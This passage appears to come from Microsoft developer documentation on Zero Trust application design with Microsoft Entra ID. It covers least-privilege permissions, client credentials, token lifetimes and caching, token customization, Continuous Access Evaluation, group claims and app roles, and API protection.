2. Second, the IT admin reviews required permissions and grants consent.
3. Third, the bad actor starts cracking user credentials and successfully hacks the user
identity.
4. If the user owns multiple applications, they're also overprivileged. The bad actor
can quickly use the token of the granted permission to retrieve sensitive data.
Overprivileged applications
When an entity asks for or receives more permissions than it needs, it's overprivileged.
The definition of overprivileged application in Microsoft identity platform is, "any
application that's been granted an unused or reducible permission."
Let's use Microsoft Graph as part of the Microsoft identity platform in a real-world
example to better understand unused permission and reducible permission.
Unused permission occurs when your application receives permissions that aren't
necessary for the desired tasks. For example, you're building a calendar app. Your
calendar app requests and receives Files.ReadWrite.All permission. Your app doesn't
integrate with any files' APIs. Therefore, your application has an unused
Files.ReadWrite.All permission.
Reducible permission is more difficult to discover. It occurs when your application

receives few permissions but has a lower privileged alternative that would provide
sufficient access for required tasks. In the calendar app example, your app requests and
receives Files.ReadWrite.All permission. However, it only needs to read files from the
signed-in user's OneDrive and never needs to create new files or modify existing ones.
In this case, your application only partially utilizes Files.ReadWrite.All so you need to
downgrade to Files.Read.All .
Recommendations for reducing overprivileged

scenarios
Security is a journey, not a destination. There are three distinct phases in the security
lifecycle:
Prevention
Auditing
Remediation
The diagram below illustrates recommendations for reducing overprivileged scenarios.
Prevent: When building an application, you should fully understand the permission
required for the API calls that your application needs to make, and only request
what's necessary to enable your scenario. Microsoft Graph documentation has
clear references for least privilege permissions to most privileged permission for all
endpoints. Be mindful of overprivileged scenarios as you determine which
permissions you need.
Audit: You and IT admins should regularly review existing applications' previously
granted privileges.
Remediate: If you or IT admins notice an overprivileged application in the
ecosystem, you should stop requesting tokens for the overprivileged permission. IT
admins should revoke granted consents. This step usually requires a code change.
Best practices for maintaining least privilege

permission
Two major incentives for maintaining least privilege permission with your applications
are driving application adoption and stopping the spread as summarized below.
Drive adoption by building a trustworthy third-party app for customers that

avoids excessive permission requests. Limit your application permissions to only
what it needs to complete its task. This practice reduces the potential blast radius
of attacks and increases customer adoption of your apps. Apply more scrutiny
when reviewing permissions that applications request and deciding whether to
grant app permissions.
Stop the spread by ensuring attackers are unable to use excessive privileges to
gain further access. When you create an app that asks for unnecessary
permissions, it will be least likely to receive approval or denied altogether. The best
way to control damage is to prevent attackers from gaining elevated privilege that
increases the scope of the compromise. For example, if your application only has
User.ReadBasic.All to read user basic information, then your OneDrive, Outlook,
Teams, and any confidential data are safe if an app is compromised.
Next steps
least privilege.
Achieving Zero Trust readiness in your apps: Designing for Least Privilege helps
you to design apps using the principle of least privileged access with the Microsoft
identity platform.
Increase application security with the principle of least privilege helps you to
reduce the attack surface of an application and the effect of a security breach (the
blast radius) should one occur in a Microsoft identity platform-integrated
application.
Graph Explorer and Microsoft Graph permissions reference helps you to select
Microsoft Graph API calls to enable your app scenario and find corresponding
permissions from least to most privileged.
Feedback
Providing application identity
credentials when there's no user
Article • 04/17/2024
When you, as a developer, are building non-user applications, you don't have a user
whom you can prompt for a username and password or Multifactor Authentication
(MFA). You need to provide the application's identity on its own. This article explains why
the best Zero Trust client credentials practice for services (non-user applications) on
Issues with service accounts

Using a "service account" (creating a user account and using it for a service) isn't a good
solution. Microsoft Entra ID doesn't have a service account concept. When admins
create user accounts for a service and then share passwords with developers, it's
insecure. It can't be passwordless or have an MFA. Instead of using a user account as a
service account, your best solution is to use one of the client credential options
described below.
Client credential options

There are four types of client credentials that can identify an application.
Secret key
Certificate
Managed Identities for Azure resources
Federated Credentials
Secret key or certificate?

Secret keys are acceptable when you have a sophisticated secrets management
infrastructure (such as Azure Key Vault) in your enterprise. However, secret keys in
scenarios where the IT Pro generates a secret key and then emails it to a developer who
then might store it in an insecure location like a spreadsheet causes secret keys to not
properly protected.
Certificate-based client credentials are more secure than secret keys. Certificates are
better managed as they aren't the secret itself. The secret isn't part of a transmission.
When you use a secret key, your client sends the actual value of the secret key to
Microsoft Entra ID. When you use a certificate, the private key of the certificate never
leaves the device. Even if someone intercepts, decodes, and de-encrypts the
transmission, the secret is still secure because the intercepting party doesn't have the
private key.
Best practice: use Managed Identities for Azure

Resources
When you're developing services (non-user applications) in Azure, Managed Identities
for Azure Resources provide an automatically managed identity in Microsoft Entra ID.
The app can authenticate to any service that supports Microsoft Entra authentication
without managing credentials. You don't need to manage secrets; you don't need to
address the possibility of losing or mishandling them. Secrets can't be intercepted
because they don't move across the network. Managed Identities for Azure resources is
the best practice if you're building services on Azure.
Next steps
Feedback
Managing tokens for Zero Trust
Article • 04/17/2024
In Zero Trust application development, it's important to specifically define your

application's intention and its resource access requirements. Your app should request
only the access it requires to function as intended. This article helps you, as a developer,
to build security into your applications with ID tokens, access tokens, and security
tokens that your app can receive from the Microsoft identity platform.
Ensure that your application adheres to the Zero Trust principle of least privilege and
prevents usage in ways that compromise your intention. Limit user access with Just-In-
Time and Just-Enough-Access (JIT/JEA), risk-based adaptive policies, and data
protection. Separate your app's sensitive and powerful sections, providing only
authorized user access to these areas. Limit users who can use your application and the
capabilities that they have in your app.
Build least privilege into how your application manages ID tokens that it receives from
the Microsoft identity platform. Information in ID Tokens allows you to verify that a user
is who they claim to be. The user or their organization may specify authentication
conditions such as providing an MFA, using a managed device, and being in the correct
location.
Make it easy for your customers to manage authorizations to your app. Reduce their
user provision overhead and the need for manual processes. Automatic user
provisioning allows IT admins to automate user identity creation, maintenance, and
removal in target identity stores. Your customers can base automations on changes to
users and groups with app provisioning or HR driven provisioning in Microsoft Entra ID.
Using token claims in your apps

Use claims in ID tokens for UX inside your application, as keys in a database, and
providing access to the client application. The ID token is the core extension
that OpenID Connect (OIDC) makes to OAuth 2.0. Your app can receive ID tokens
alongside or instead of access tokens.
In the standard pattern for security token authorization, an issued ID token allows the
application to receive information about the user. Don't use the ID token as an
authorization process to access resources. The authorization server issues ID tokens that
contain claims with user information that include the following.
The audience ( aud ) claim is your app's client ID. Accept only tokens for your API
client ID.
The tid claim is the ID of the tenant that issued the token. The oid claim is an
immutable value that uniquely identifies the user. Use the unique combination of
the tid and oid claims as a key when you need to associate data with the user.
You can use these claim values to connect your data back to the user's ID in
Microsoft Entra ID.
The sub claim is an immutable value that uniquely identities the user. The subject
claim is also unique for your application. If you use the sub claim to associate data
with the user, it's impossible to go from your data and connect it with a user in
Microsoft Entra ID.
Your apps can use the openid scope to request an ID token from the Microsoft identity
platform. The OIDC standard governs the openid scope along with the format and
contents of the ID token. OIDC specifies these scopes:
Use the openid scope to sign in the user and add a sub claim to the ID token.
These scopes provide a user ID that is unique to the app and the user and calls the
UserInfo endpoint.
The email scope adds an email claim containing the user's email address to the ID
token.
The profile scope adds claims with basic profile attributes of the user (name,
username) to the ID token.
The offline_access scope allows the app to access user data even when the user
isn't present.
The Microsoft Authentication Library (MSAL) always adds the openid, email, and
profile scopes to every token request. As a result, MSAL always returns an ID token
and an access token on every call to AcquireTokenSilent or AcquireTokenInteractive.

MSAL always requests the offline_access scope. The Microsoft identity platform always
returns offline_access scope even when the requesting app doesn't specify the
offline_access scope.
Microsoft uses the OAuth2 standard to issue access tokens. The OAuth2 standard says
that you receive a token, but it doesn't specify the token format or what needs to be in
the token. When your application needs to access a resource that Microsoft Entra ID
protects, it should use a scope that the resource has defined.
For example, Microsoft Graph defines the User.Read scope that authorizes the
application to access the current user's full user profile and the tenant's name. Microsoft
Graph defines permissions across the full range of functionality available in that API.
Upon authorization, the Microsoft identity platform returns an access token to your
application. When you call the resource, your app provides this token as part of the
authorization header of the HTTP request to the API.
Managing token lifetimes

Applications can create a session for a user after the authentication successfully
completes with Microsoft Entra ID. User session management drives how frequently a
user needs reauthentication. Its role in keeping an explicitly verified user in front of the
app with the right privilege and for the right amount of time is crucial. Session lifetime
must be based on the exp claim in the ID token. The exp claim is the time at which the
ID token expires and the time after which you can no longer use the token to
authenticate the user.
Always respect the token lifetime as provided in the token response for access tokens or
the exp claim in the ID token. Conditions that govern token lifetime can include sign-in
frequency for an enterprise. Your application can't configure the token lifetime. You can't
request a token lifetime.
In general, tokens must be valid and unexpired. The audience claim (aud) must match
your client ID. Make sure the token is coming from a trusted issuer. If you have a
multitenant API, you may choose to filter so that only specific tenants can call your API.
Make sure you enforce the token's lifetime. Check the nbf (not before) and the exp
(expiration) claims to ensure the current time is within those two claims' values.
Don't aim for exceptionally long or short session lifetimes. Let the granted ID token
lifetime drive this decision. Keeping your app's sessions active beyond token validity
violates the rules, policies, and concerns that drove an IT admin to set a token validity
duration to prevent unauthorized access. Short sessions degrade user experience and
don't necessarily increase the security posture. Popular frameworks like ASP.NET allow
you to set session and cookie timeouts from Microsoft Entra ID's ID token's expiry time.
Following the identity provider's token expiry time ensures that your user's sessions are
never longer than the policies that the identity provider dictates.
Caching and refreshing tokens

Remember to appropriately cache tokens. MSAL automatically caches tokens but the
tokens have lifetimes. Use tokens through the full length of their lifetimes and
appropriately cache them. If you repeatedly ask for the same token, throttling causes
your application to become less responsive. If your app abuses the token issuance, the
time required for issuing new tokens to your app lengthens.
MSAL libraries manage the details of the OAuth2 protocol including the mechanics of
refreshing tokens. If you aren't using MSAL, ensure that your library of choice makes
effective use of refresh tokens.
When your client acquires an access token to access a protected resource, it receives a
refresh token. Use the refresh token to obtain new access/refresh token pairs after the
current access token expires. Use refresh tokens to acquire extra access tokens for other
resources. Refresh tokens are bound to a combination of user and client (not to a
resource or tenant). You can use a refresh token to acquire access tokens across any
combination of resource and tenant where your app has permissions.
Managing token errors and bugs

Your application should never attempt to validate, decode, inspect, interpret, or examine
the contents of an access token. These operations are strictly the responsibility of the
resource API. If your app attempts to examine the contents of an access token, it's
highly likely that your application breaks when the Microsoft identity platform issues
encrypted tokens.
Rarely, a call to retrieve a token can fail due to issues like network, infrastructure, or
authentication service failure or outage. Increase authentication experience resiliency in
your application if a token acquisition failure occurs by following these best practices:
Locally cache and secure tokens with encryption.

Don't pass security artifacts like tokens around on nonsecure channels.
Understand and act on exceptions and service responses from the identity
provider.
Developers often have questions about looking inside tokens to debug issues such as
receiving a 401 error from calling the resource. As more encrypted tokens prevent you
from looking inside an access token, you need find alternatives to looking inside access
tokens. For debugging, the token response that contains the access token provides the
information that you need.
In your code, check for error classes rather than individual error cases. For example,
handle user interaction required rather than individual errors where the system hasn't
granted permission. Because you may miss those individual cases, it's better to check for
a classifier like user interaction rather than dig into individual error codes.
You may need to fall back to AcquireTokenInteractive and provide claims challenges
that the AcquireTokenSilent call requires. Doing so ensures effective management of
the interactive request.
Next steps
Customizing tokens helps you to understand how to customize tokens to improve
flexibility and control while increasing application zero trust security with least
privilege.
Configure how users consent to applications
best Zero Trust client credentials practice for services (nonuser applications) on
Troubleshoot Microsoft Entra access tokens: Validate an access token
Feedback
Customizing tokens
Article • 04/17/2024
As a developer, your primary interaction with Microsoft Entra ID is in requesting a token

to identify the user. You'll also request a token to get authorization to call a web API.
The web API token determines what that API can do when it services a particular
request. In this article, you'll learn about the information that you can receive in tokens
and how you can customize tokens. These Zero Trust developer best practices will
improve flexibility and control while increasing application security with least privilege.
Your reasons for customizing your application tokens depend on the process you're
using to drive more granular authorization in your applications and APIs. For example,
you may have different user roles, access levels, and functionalities in your app that rely
on information from tokens.
The Microsoft Graph API provides a robust set of directory information and data across
Microsoft 365. You can develop a fine-grained and rich authorization system by building
on the data in Microsoft Graph. For example, you can access information from the user's
group membership, detailed profile data, SharePoint, and Outlook to use in your
authorization decisions. You can also include authorization data in the token from
Microsoft Entra ID.
Application-level authorization
It's possible for IT Pros to add app-level authorization without customizing the token
nor having the developer add any code.
IT Pros can prevent tokens from being issued to any app in the tenant by using the user
assignment required flag to ensure that only a set of users are able to sign in to the
application. Without this flag, all users in a tenant can access the application. With this
flag, only assigned users and groups can access the application. When an assigned user
accesses the app, the app receives a token. If the user doesn't have an assignment, the
app won't receive a token. Remember to always gracefully handle token requests that
don't receive tokens.
Token customization methods

There are two ways to customize tokens: optional claims and claims mapping.
Optional claims
Optional claims specify which claims you want Microsoft Entra ID to send to your
application in tokens. You can use optional claims to:
Select more claims to include in your application tokens.

Change the behavior of claims that the Microsoft identity platform returns in
tokens.
Add and access custom claims for your application.
Optional claims hang off of the application registration object with a defined schema.
They apply to the application no matter where it was running. When you're writing a
multi-tenant application, optional claims work well because they're consistent across
every tenant in Microsoft Entra ID. For example, an IP address isn't tenant-specific
whereas an application has an IP address.
By default, guest users in a tenant can also sign in to your app. If you want to block
guest users, opt-in to the optional claim (acct). If it's 1, then the user has a guest
classification. If you want to block guests, then block tokens with acct==1.
Claims mapping
In Microsoft Entra ID, policy objects represent sets of rules on individual applications or
on all applications in an organization. A claims mapping policy modifies the claims that
Microsoft Entra ID issues in tokens for specific applications.
You'll use claims mapping for tenant-specific information that has no schema (for
example, EmployeeID, DivisionName). Claims mapping applies at the service principal
level that the tenant admin controls. Claims mapping corresponds to the enterprise app
or the service principal for that application. Each tenant can have its own claims
mapping.
If you're developing a line of business application, you can look specifically at what your
tenant does (what specific claims your tenant has available that you can use in your
token). For example, if an organization has a user's division name property (not a
standard field in Microsoft Entra ID) in their on-premises Active Directory, you can use
Microsoft Entra Connect to sync it to Microsoft Entra ID.
You can use one of the standard extension attributes to contain that information. You
can define your token with a division name claim that you can compose from the
corresponding extension (even if it won't apply across every tenant). For example, an
organization puts their division name in extension attribute 13.
With claims mapping, you can make it work for another tenant that puts their division
name in attribute seven.
Planning token customization
Which token you customize depends on your type of application: client application or
API. There's no difference in what you can do to customize your token. What you can
put in the token is the same for each of them. Which token you choose to customize
depends upon which token your app will consume.
Customizing ID tokens
If you're developing a client application, you customize the ID token because it's the
token that you request to identify the user. A token belongs to your app when the
audience claim ( aud ) in the token matches the client ID of your application. For a client
application that calls APIs, but doesn't implement them, make sure you only customize
your app's ID token.
The Azure portal and Microsoft Graph API allow you to customize the access token for
your app as well, but those customizations have no effect. You can't customize an access
token for an API that you don't own. Remember, your app must not attempt to decode
or inspect an access token that your client app receives as authorization to call an API.
Customizing access tokens

If you're developing an API, you customize the access token because your API will
receive access tokens as part of the client's call to your API.
Client applications always customize the ID token that they receive to identity the user.
APIs customize the access tokens that the API will receive as part of the call to the API.
Groups and app roles

One of the most common authorization techniques is to base access on a user's group
membership or assigned roles. Configuring group claims and app roles in tokens shows
you how to configure your apps with app role definitions and assign security groups to
app roles to improve flexibility and control while increasing application zero trust
security with least privilege.
Next steps
B2B collaboration user claims mapping describes Microsoft Entra ID support for
customizing the claims that are issued in the SAML token for B2B collaboration
users.
Customize app SAML token claims when a user authenticates to an application
through the Microsoft identity platform using the SAML 2.0 protocol.
Feedback
Securing applications with Continuous
Access Evaluation
Article • 04/17/2024
This article will help you, as a developer, to improve application security with
Continuous Access Evaluation. You'll learn how to ensure Zero Trust support in your
apps that receive authorization to access resources when they acquire access tokens
from Microsoft Entra ID.
When Microsoft Entra ID issues these access tokens, it fully evaluates the conditions for
that authorization. Microsoft Entra ID performs standard authorization actions, such as
ensuring consent for the application has been granted, every time it issues tokens for
initial token requests and when it refreshes tokens.
Microsoft Entra ID primarily uses JSON Web Tokens (JWT) for access tokens. A resource
API can decode, validate, and interpret the JWT without needing to call back to
Microsoft Entra ID on every call to the resource API. The JWT standard defines an exp
claim that identifies the on-or-after expiration time that you must not accept the JWT
token for processing. By default, Microsoft Entra tokens expire 60 to 90 minutes after
issue. Your applications must cache and use access tokens for this period during which
Microsoft Entra ID doesn't evaluate the authorization conditions.
Evaluating conditions outside of issuing the

token
Microsoft customers have expressed concerns about lags between user condition
changes and policy change enforcement when Microsoft Entra ID issues tokens. This
reduced token lifetime approach can degrade user experiences and reliability without
eliminating risks.
One solution is to evaluate conditions on every call to a protected resource. The most
common way to implement this enforcement is token introspection. Token introspection
doesn't use a JWT format for the token. Instead, token introspection uses an opaque
string that the resource API can't interpret. The resource API sends the token to the
identity provider on each call. The identity provider then checks for any conditions and
returns data that the resource API can use to complete the operation. This process can
be expensive as it adds another round trip web request to every API call.
To remedy this expense with Continuous Access Evaluation (CAE), a resource API can
listen for events that Microsoft Entra ID pushes about the tokens that Microsoft Entra ID
issues for the resource API. For example, when your application calls the Microsoft
Graph API, Microsoft Graph can check if it has received events from Microsoft Entra ID
about the token. If the conditions of the original authentication have changed and the
user needs to reauthenticate, Microsoft Graph returns an error to the calling app.
Microsoft Entra ID sends an event to CAE-enabled Microsoft resources when any of

these events occur:
Deleted or disabled user account

Changed or reset user password
Enabled user multi-factor authentication
Administrator explicitly revokes all refresh tokens for a user
Microsoft Entra ID Protection detects elevated user risk
In addition, CAE-enabled Microsoft resources can enforce location-based conditional

access policies.
Improve application security and resilience with

CAE
The More secure and resilient apps built on Microsoft Entra Continuous Access
Evaluation video demonstrates building a client app with CAE support.
https://www.youtube-nocookie.com/embed/Yc9b7L3srrE
Watch the above presentation to learn how applications work when using modern
authentication with these steps:
How applications work when using modern authentication

App asks Microsoft identity for tokens
App receives an access token
App calls API / Authorization with JWT
Introspection
Shared signals and events
Critical event evaluation
Conditional Access policy evaluation
Called API Continuous Access Evaluation
Claims challenge
Continuous Access Evaluation enables an application's authorization to access a

resource revoked outside the lifetime of the access token. For example, an application
has a token that is valid for 75 more minutes. A user has a high-risk state due to
breached credentials. CAE will block the app's access to the resource, requiring the user
to reauthenticate before continuing. Thus, CAE achieves its primary goal to improve app
security.
As access to a resource can be revoked outside a token's lifetime, Microsoft Entra ID can
issue tokens for a longer lifetime. For apps that support CAE, Microsoft Entra ID can
issue tokens that are valid for up to 28 hours. Although this longer token lifetime
doesn't improve the app's resilience, it reduces application costs as the app will need to
request tokens much less frequently.
CAE improves an app's resilience to issues that the app could encounter in acquiring an
access token from Microsoft Entra ID. Whenever possible, Microsoft Entra ID will issue a
refresh time as part of a token response that contains an access token. Microsoft
Authentication Libraries (MSAL) use this refresh time to proactively refresh the token.
The refresh time is some fraction (usually half) of the token's expiration time. As long as
MSAL is able to refresh the access token before the token's expiration time, the app is
resilient to token refresh problems.
For example, when an app supports CAE, Microsoft Entra ID issues a token that
authorizes the app to call Microsoft Graph that is valid for 24 hours. Microsoft Entra ID
then tells MSAL to proactively refresh the token after 12 hours. If MSAL attempts to
refresh the access token fail because the original access token is still valid for 12 more
hours, the app is more resilient to problems when it acquires tokens from Microsoft
Entra ID.
Implementing Continuous Access Evaluation in

your app
As described in How to use Continuous Access Evaluation enabled APIs in your
applications, both your app and the resource API it's accessing must be CAE-enabled.
However, preparing your code to use a CAE enabled resource won't prevent you from
using APIs that aren't CAE enabled. Applications that don't use MSAL can add support
for claims challenges, claims requests, and client capabilities to use CAE.
Next steps
Continuous access evaluation for workload identities in Microsoft Entra ID
describes the CAE security benefits to an organization.
Apply Zero Trust Principles to Authentication Session Management with
Continuous Access Evaluation describes how to secure authentication sessions
without affecting user experience and productivity and modernize session
management.
Increase resilience of authentication and authorization applications you develop
introduces a series of articles that provide guidance on increasing resiliency in
apps using the Microsoft identity platform and Microsoft Entra ID. They contain
best practices for using tokens and calling resources.
identity platform.
Feedback
Configuring group claims and app roles
in tokens
Article • 04/17/2024
Configuring group claims and app roles in tokens shows you how to configure your
apps with app role definitions and assign security groups to app roles so that you can
improve flexibility and control while increasing application security with least privilege.
Microsoft Entra ID supports sending a user's assigned security groups, Microsoft Entra
directory roles, and distribution groups as claims in a token. You can use this approach
to drive authorization in apps. However, Microsoft Entra ID limits security group support
in a token by the size of the token. If the user is a member of too many groups, there
will be no security groups in the token.
In this article, you'll learn an alternative approach to getting user information in tokens
using Microsoft Entra security group support. Instead, you'll configure your apps with
app role definitions and assign security groups to app roles. This Zero Trust developer
best practice will improve flexibility and control while increasing application security
with least privilege.
You can configure group claims in tokens that you can use within your applications for
authorization. Remember that group information in the token is current only when you
receive the token. Group claims support two main patterns:
Groups identified by their Microsoft Entra object identifier (OID) attribute.

Groups identified by the sAMAccountName or GroupSID attribute for Active
Directory-synchronized groups and users.
Group membership can drive authorization decisions. For example, the following
example shows some claims in a token. You can add group claims and roles to either ID
or access tokens.
"aud": "e18c04b1-4868-4b93-93d1-8d71f17ab99b",
"iss": "https://login.microsoftonline.com/833ced3d-cb2e-41de-92f1-
29e2af035ddc/v2.0",
"iat": 1669657224, "nbf": 1669657224, "exp": 1669661124,
"groups": [
"0760b6cf-170e-4a14-91b3-4b78e0739963",
"3b2b0c93-acd8-4208-8eba-7a48db1cd4c0"
],
"oid": "cb7eda1b-d09a-40ae-b8bb-37836ebc6abd",
"sub": "3OBtLXUC2ZrN_ADLNjW9X4o0lcd61py7lgHw3Skh77s",
"tid": "833ced3d-cb2e-41ce-92f1-29e2af035ddc",
"ver": "2.0",
"wids": [
"cf1c38e5-3621-4004-a7cb-879624dced7c",
"b79fbf4d-3ef9-4689-8143-76b194e85509"
]
The groups claims array comprises the IDs of the groups to which this user is a member.
The wids array comprises the IDs of the Microsoft Entra roles assigned to this user.
Here, cf1c38e5-3621-4004-a7cb-879624dced7c shows that this user's assigned roles
include Application Developer and standard member as 3b2b0c93-acd8-4208-8eba-
7a48db1cd4c0 indicates.
Your app can make authorization decisions based on the presence or absence of these
claims and their values. See Microsoft Entra built-in roles for a list of values for the wids
claim.
To add the groups and wids claims to your tokens, select All groups as shown in the
following example of the App registrations | Token configuration | Optional claims |
Edit groups claim screen.
Group overages
When you request all groups in your token as shown in the above example, you can't
rely on the token having the groups claim in your token. There are size limits on tokens
and on groups claims so that they don't become too large. When the user is a member
of too many groups, your app will need to get the user's group membership from
Microsoft Graph. The limits for groups in a groups claim are:
200 groups for JWT tokens.

150 groups for SAML tokens.
Six groups when using the implicit flow (for example, using ASP.NET core that gets
ID tokens through the implicit flow part of a hybrid flow).
Implicit flow is no longer recommended for single page web apps.
Implicit flow can be used in web apps for the ID token only, never the access
token, in an OAuth2 hybrid flow.
If you're using OpenID Connect or OAuth2, you can have up to 200 groups in your
token. If you're using SAML, you can have only 150 groups because SAML tokens are
bigger than OAuth2 and OpenID Connect tokens. If you're using the implicit flow, the
limit is six because those responses show up in the URL. In all of these cases, instead of
having a groups claim, you'll see an indication (known as a group overage) that tells you
that the user is a member of too many groups to fit in your token.
In the following token example, for an OpenID connect, or OAuth2, JSON web token
(JWT), there won't be a groups claim if the user is a member of too many groups.
Instead, there will be a _claim_names claim that contains a groups member of the array.
In the above token example, you see that the groups claim is supposed to be mapped
to src1 . In theory, you'd then look for the _claim_sources claim then find the src1
member. From there, you'd find the Graph query that you'd use to get the group
membership. However, there's a problem with what you see in the example Graph
query. It goes to Azure AD Graph (which Microsoft is deprecating), so don't use it.
Implicit flow overage indication is done with a hasgroups claim instead of the groups
claim.
To ensure proper authorization using group membership, have your app check for the
groups claim. If present, use that claim to determine the user's group membership. If
there's no groups claim, check for the existence of a hasgroups claim or a _claim_names
claim with a groups member of the array. If either of these claims are present, the user is
a member of too many groups for the token. In this case, your app must use Microsoft
Graph to determine the group membership for the user. See List a user's memberships
(direct and transitive) to find all the groups, both direct and transitive, of which the user
is a member.
If your application requires real time group membership information, use Microsoft
Graph to determine group membership. Remember that the information in the token
that you receive is up to date only at the time you call Microsoft Graph.
See the following example of the App registrations | Token configuration | Optional
claims | Edit groups claim screen. One way to avoid hitting a group overage claim is to
select Groups assigned to the application on the Edit groups claim screen instead of
All groups.
When you select Groups assigned to the application, a group is included in the groups
claim if the following conditions are true:
the group is assigned to the Enterprise App

the user is a direct member of the group
As of this article's publication, the Groups assigned to the application option doesn't
support indirect membership. Group assignment requires at least a P1 level license. A
free tenant can't assign groups to an application.
Groups and app roles

Another way to avoid the group overage problem is for the app to define app roles that
allow users and groups as member types. As shown in the following example of the App
registrations | App roles | Create app role screen, select Users/Groups for Allowed
member types.

Having created the app role in the app's registration, IT Pros can assign users and
groups to the role. Your app will get a roles claim in your token (ID token for app,
access token for APIs) with all the signed-in user's assigned roles as shown in the
following token example.
"aud": "acaf6ce9-81f0-462a-a93d-a314070738d3",
"iss": "https://login.microsoftonline.com/833ced3d-cb2e-41de-92f1-
29e2af035ddc/v2.0",
"iat": 1670826509, "nbf": 1670826509, "exp": 1670830409,
"name": "Kyle Marsh",
"oid": "cb7eda1b-d09a-419e-b8bb-37836ebc6abd",
"preferred_username": "kylemar@idfordevs.dev",
"roles": [
"Approver",
"Reviewer"
],
"sub": "dx-4lf-0loB3c3uVrULnZ2VTLuRRWYff0q7-QlIfYU4",
"tid": "833ced3d-cb3e-41de-92f1-29e2af035ddc",
Remember to have your application handle the following conditions:
absence of roles claim

user hasn't been assigned to any role
multiple values in the roles claim when the user has multiple assigned roles
When you create app roles that allow user and groups as members, always define a
baseline user role with no elevated authorization roles. When an Enterprise App
configuration requires assignment, only users with direct assignment to an application
or membership in a group assigned to the app can use the app.
If your app has defined app roles that allow users and groups as members then, when a
user or group is assigned to the app, one of the defined app roles must be part of the
user or group's assignment to the app. If your app has only defined elevated roles (such
as admin ) for the app, then all users and groups would be assigned the admin role.
When you define a base role (such as user ), users and groups assigned to the app can
be assigned the base user role.
In addition to avoiding group overage claims, another advantage of using roles isn't
needing to map between a group ID or name and what it means in your application. For
example, your code can look for the admin role claim instead of iterating through
groups in the groups claims and deciding which group IDs should be allowed the admin
functionality.
Verifying and using roles in your code

When you define app roles for your app, it is your responsibility to implement
authorization logic for those roles. See Implement role-based access control in
applications to learn how you can implement authorization logic in your apps.
Next steps
Configure group claims for applications by using Microsoft Entra ID shows how
Microsoft Entra ID can provide a user's group membership information in tokens
for use within applications.
Security best practices for application properties describes redirect URI, access
tokens (used for implicit flows), certificates and secrets, application ID URI, and
application ownership.
Microsoft identity platform scopes, permissions, & consent explains the
foundational concepts of access and authorization to help you build more secure
and trustworthy applications.
Feedback
Protecting APIs
Article • 04/17/2024
When you, as a developer, protect your API, your focus is on authorization. To call your
resource's API, applications need to acquire application authorization. The resource itself
must enforce the authorization. In this article, you'll learn best practices for protecting
your API through registration, defining permissions and consent, and enforcing access
to achieve your Zero Trust goals.
Registering your protected API

To protect your API with Microsoft Entra ID (Microsoft Entra ID) you'll first register your
API, after which you can manage your registered APIs. In Microsoft Entra ID, an API is an
app with specific app registration settings that define it as a resource or API that
another application can be authorized to access. In the Microsoft Entra admin center,
Microsoft Identity Developer, App registrations, are APIs that are in the tenant either as
line of business APIs or services from SaaS providers that have APIs that Microsoft Entra
ID protects.
During registration, you'll define how calling applications will reference your API and its
delegated and application permissions. An app registration can represent a solution that
has both client applications and APIs. However, in this article, we'll address the scenario
where a standalone resource exposes an API.
Normally, an API doesn't perform authentication or directly ask for authorization. The
API will validate a token presented by the calling app. APIs won't have interactive sign-
ins, so you won't need to register settings such as redirect URI or application type. APIs
get their tokens from the applications that are calling those APIs, not by interacting with
Microsoft Entra ID. For web APIs, use OAuth2 access tokens for authorization. Web APIs
validate bearer tokens to authorize callers. Don't accept ID tokens as a proof of
permission.
By default, Microsoft Entra ID adds User.Read to the API permissions of any new app
registration. You'll remove this permission for most web APIs. Microsoft Entra ID requires
API permissions only when an API calls another API. If your API doesn't call another API,
remove the User.Read permission when you register your API.
You'll need a unique identifier for your API, known as the Application ID URI, that client
apps that need to access your API will ask for permission to call your API. The
Application ID URI needs to be unique across all Microsoft Entra tenants. You can use
api://<clientId> (the default suggestion in the portal), where <clientId> is the
Application ID of your registered API.
To provide developers who are calling your API with a more user-friendly name, you can
use your API's address as your Application ID URI. For example, you can use
https://API.yourdomain.com where yourdomain.com must be a configured publisher
domain in your Microsoft Entra tenant. Microsoft validates that you have ownership of
the domain so that you can use it as the unique identifier for your API. You don't need
to have code at this address. The API can be wherever you want it to be, but it's a good
practice to use the HTTPS address of the API as the Application ID URI.
Defining delegated permissions with least

privilege
If your API is going to be called by applications that have users, you must define at least
one delegated permission (see Add a scope on the app registration Expose an API).
APIs that provide access to organization data stores can attract the attention of
attackers who want to access that data. Instead of having only one delegated
permission, design your permissions with the Zero Trust principle of least privilege
access in mind. It can be difficult to get into a least privileged model later if all client
apps start with full privileged access.
Often, developers fall into a pattern of using a single permission like "access as user" or
"user impersonation" (which is a common phrase although technically inaccurate).
Single permissions like these only allow full, privileged access to your API.
Declare least privilege scopes so that your applications aren't vulnerable to compromise
or used to perform a task that you never intended. Define your multiple scopes in API
Permissions. For example, separate scopes from reading and updating data and
consider offering read-only permissions. "Write access" includes privileges for create,
update, and delete operations. A client should never require write access to only read
data.
Consider "standard" and "full" access permissions when your API works with sensitive
data. Restrict the sensitive properties so that a standard permission doesn't allow access
(for example, Resource.Read ). Then implement a "full" access permission (for example,
Resource.ReadFull ) that returns properties and sensitive information.
Always evaluate permissions that you request to ensure that you seek the absolute least
privileged set to get the job done. Avoid requesting higher privilege permissions.
Instead, create an individual permission for each core scenario. Refer to Microsoft Graph
permissions reference for good examples of this approach. Locate and use just the right
number of permissions to address your needs.
Defining user consent and admin consent

As part of your scope definitions, decide whether the range of operation that can be
performed with a particular scope requires admin consent.
As the API designer, you can provide guidance on which scopes can safely require only
user consent. However, tenant admins can configure a tenant so that all permissions
require admin consent. If you define a scope as requiring admin consent, the permission
will always require admin consent.
When deciding upon user or admin consent, you have two primary considerations:
1. Whether the range of operations behind the permission affect more than a
single user. If permission allows the user to choose which application can access
only their own information, then user consent may be appropriate. For example,
the user can consent to choosing their preferred application for email. However, if
the operations behind the permission involve more than a single user (for example,
viewing full user profiles of other users), then define that permission as requiring
admin consent.
2. Whether the range of operations behind the permission have a broad scope. For
example, a broad scope is when a permission enables an app to change everything
in a tenant or to do something that might be irreversible. A broad scope indicates
that you require admin consent rather than user consent.
Err on the conservative side and require admin consent if you're in doubt. Clearly and
concisely describe the consequences of consent in your permission strings. Assume that
the individual reading your description strings has no familiarity with your APIs or
product.
Avoid adding your APIs to existing permissions in a way that changes the semantics of
the permission. Overloading existing permissions dilutes the reasoning upon which
clients previously granted consent.
Defining application permissions

When you're building non-user applications, you don't have a user whom you can
prompt for a username and password or Multifactor Authentication (MFA). If your API
will be called by applications without users (such as workloads, services, and daemons),
